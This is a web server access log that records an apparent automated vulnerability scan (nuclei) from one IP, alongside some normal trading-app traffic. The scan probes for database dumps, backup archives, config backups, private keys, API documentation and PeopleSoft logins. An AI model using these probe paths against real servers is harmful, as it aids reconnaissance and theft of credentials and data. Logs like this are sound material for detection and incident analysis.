[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/_swagger_/ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //services.php HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /private/202.181.208.139.key HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/api/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.~ HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.tar HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.db HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/spec/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keys/202.181.208.139.pem HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //boxed.php HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/explorer HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/spec/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.~ HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graph HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger/ui/index HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //pbw.txt HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //__swagger__/ HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //aw.txt HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.css HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_swagger_/ HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bk HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //hx.txt HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/v1/swagger-ui/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //vz.txt HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/v1/swagger-ui/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/app.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.tar HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cl.html HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.min.js HTTP/1.1" 196
[09/Jan/2026:10:55:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-resources/restservices/v2/api-docs HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.war HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //asi.html HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql.php HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api/swagger_doc.json HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //public HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //docu HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.7z HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //cache HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //docs HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.txt HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.gz HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ir.html HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-doc HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927595436 HTTP/1.1" -
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.lz HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.tar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //me.html HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //doc/ HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.rar HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:11 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.tar HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //px.html HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v2/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.bk HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger-ui/springfox.js HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.7z HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.orig HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //px.php HTTP/1.1" 196
[09/Jan/2026:10:55:12 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/app.db HTTP/1.1" 196
